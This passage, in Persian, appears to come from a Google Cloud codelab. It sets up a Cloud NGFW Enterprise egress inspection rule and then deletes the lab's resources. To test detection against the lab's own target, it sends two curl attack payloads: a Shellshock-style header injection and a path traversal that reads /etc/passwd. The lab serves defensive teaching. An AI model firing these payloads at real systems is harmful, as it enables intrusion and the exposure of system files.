همانطور که در بخش قبل تأیید شد، جریانهای بررسیشده تاکنون شامل ترافیک درونزیرشبکه/VPC (شرق-غرب) و ترافیک ورودی از اینترنت (ورودی شمال-جنوب) بودهاند. Cloud NGFW Enterprise همچنین میتواند طوری پیکربندی شود که با ایجاد یک قانون خروجی جدید با استفاده از Cloud Shell، تمام ترافیک اینترنت (خروجی شمال-جنوب) را بررسی کند:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
به ماشین مجازی کلاینت برگردید و حملات با شدت بالا را به IP سرور خارجی دوباره ارسال کنید:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
خروجی مورد انتظار:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
برای تأیید گزارشها، به برگه تهدیدها در کنسول ابری بروید (ممکن است لازم باشد چند بار صفحه را بهروزرسانی کنید). حملات باید شناسایی و دوباره ثبت میشدند، اما اکنون IP منبع داخلی است زیرا ابتدا یک قانون خروج فعال میشود:

جلسه SSH را ببندید و برای مراحل پاکسازی به بخش بعدی بروید.
۸. مراحل پاکسازی
پاکسازی اجزای سازمانی فایروال نسل بعدی ابر (Cloud NGFW)
فهرست انجمنهای سازمانی Cloud NGFW موجود:
gcloud network-security firewall-endpoint-associations list
انجمن Cloud NGFW Enterprise را حذف کنید:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
فهرست نقاط پایانی Cloud NGFW Enterprise موجود:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
حذف نقطه پایانی Cloud NGFW Enterprise، که میتواند حدود 20 دقیقه طول بکشد:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
با اجرای دستور زیر تأیید کنید که Cloud NGFW Enterprise حذف شده است:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
گروه پروفایل امنیتی و پروفایل پیشگیری از تهدید را حذف کنید:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
تمیز کردن تنظیمات پایه
اگر ترجیح میدهید منابع پایه را حذف کنید، به مرحله بعدی بروید.
در صورت نیاز، متغیرهای محیطی را تعریف کنید. از Cloud Shell، اجزای Network Load Balancer را حذف کنید:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
حذف موارد:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
در صورت تغییر نقشهای tagAdmin و tagUsers، به صورت اختیاری، مراحل زیر را انجام دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
حذف کلید و مقادیر Tag:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
خطمشی شبکه و ارتباط فایروال ابری را حذف کنید:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
حذف روتر ابری و NAT ابری:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
حذف آدرسهای IP رزرو شده:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
در نهایت، زیرشبکه و شبکه VPC را حذف کنید:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
۹. تبریک میگویم!
تبریک میگوییم، شما با موفقیت دوره Cloud NGFW Enterprise را برای آزمایشگاه کد East-West and North-South Inspection به پایان رساندید.